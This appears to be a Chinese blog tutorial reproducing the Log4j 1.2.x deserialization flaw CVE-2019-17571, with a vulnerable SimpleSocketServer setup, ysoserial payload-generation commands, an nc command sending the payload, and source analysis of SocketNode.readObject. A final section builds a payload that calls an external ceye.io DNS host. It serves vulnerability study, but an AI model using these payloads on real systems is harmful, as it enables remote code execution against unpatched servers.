[20][03][81] Log4j 反序列化漏洞(CVE-2019-17571)-爱代码爱编程
文章目录
1. 组件基本信息
1.1 pom 信息
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
1.2 影响版本
漏洞存在版本 1.2.4 ~ 1.2.17
1.3 漏洞场景
此漏洞需要使用 SimpleSocketServer 开启端口才能够接受 socket 中的数据进行反序列化操作,从而才能利用
通过 socket 通信发送 playload, SimpleSocketServer 接受到消息后,调用 readobject 进行反序列化存在漏洞
2. 漏洞复现
2.1 引入 pom 组件
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
2.2 新建 log4j.properties
在 resources 目录下新建文件
log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n
2.3 Log4jLeak 代码
public class Log4jLeak {
public static void main(String[] args) {
Log4jLeak log4jLeak = new Log4jLeak();
log4jLeak.CVE_2019_17571();
}
/**
* CVE-2019-17571 漏洞
*/
private void CVE_2019_17571() {
System.out.println("Listening on port 1234");
String[] arguments = {"1234", (new Log4jLeak()).getClass().getClassLoader().getResource("log4j.properties").getPath()};
SimpleSocketServer.main(arguments);
System.out.println("Log4j output successfuly");
}
}
2.4 下载 ysoserial.jar
下载地址
- 官方地址
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar - CSDN 下载地址
https://download.csdn.net/download/weixin_57672329/64795994
2.5 生成 playload
使用 ysoserial.jar 生成 playload, 保存到 log4j.bin 文件
# MacOS 系统
java -jar ysoserial.jar CommonsCollections7 "open /System/Applications/Calculator.app" > log4j.bin
# Windows 系统
java -jar ysoserial.jar CommonsCollections7 "calc.exe" > log4j.bin
2.5 启动程序
运行 Log4jLeak 的 main 方法,启动 ServiceSocket 监听 1234 端口
Listening on port 1234
[2021-12-16 17:51:34,157]-[INFO]-[MSG!:Listening on port 1234]-[org.apache.log4j.net.SimpleSocketServer:60]
[2021-12-16 17:51:34,161]-[INFO]-[MSG!:Waiting to accept a new client.]-[org.apache.log4j.net.SimpleSocketServer:63]
在 log4j.bin 目录下,执行命令与 socket 进行通信,将 playload 的文件 log4j.bin 发送给服务端
nc 127.0.0.1 1234 < log4j.bin
反序列化漏洞利用成功,本地计算器程序被调用
3. 漏洞源码分析
3.1 SimpleSocketServer 类
SimpleSocketServer 类的 main 方法,创建 ServerSocket 监听 1234 端口
3.2 SocketNode 类
ServerSocket 接受到消息后,需要将消息解析,需要使用 SocketNode
(new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "SimpleSocketServer-" + port)).start();
SocketNode 实现 Runable,最终调用 run() 方法, 漏洞利用点在event = (LoggingEvent)this.ois.readObject();
public void run() {
try {
if (this.ois != null) {
while(true) {
LoggingEvent event;
Logger remoteLogger;
do {
event = (LoggingEvent)this.ois.readObject();
remoteLogger = this.hierarchy.getLogger(event.getLoggerName());
} while(!event.getLevel().isGreaterOrEqual(remoteLogger.getEffectiveLevel()));
remoteLogger.callAppenders(event);
}
}
} catch (EOFException var36) {
...
}
}
4. 反射到外网
反序列化到反射到外网 dns 解析平台
生成 playload, 将命令中的你的 ID
替换成自己申请的地址
java -jar ysoserial.jar JRMPClient "log4j.你的ID.ceye.io" > log4j-ceye.bin
与 Log4j 的 socket 通信,触发反序列化漏洞的 playload, 反射到外网
nc 127.0.0.1 1234 < log4j-ceye.bin
在 ceye 平台查到的反射记录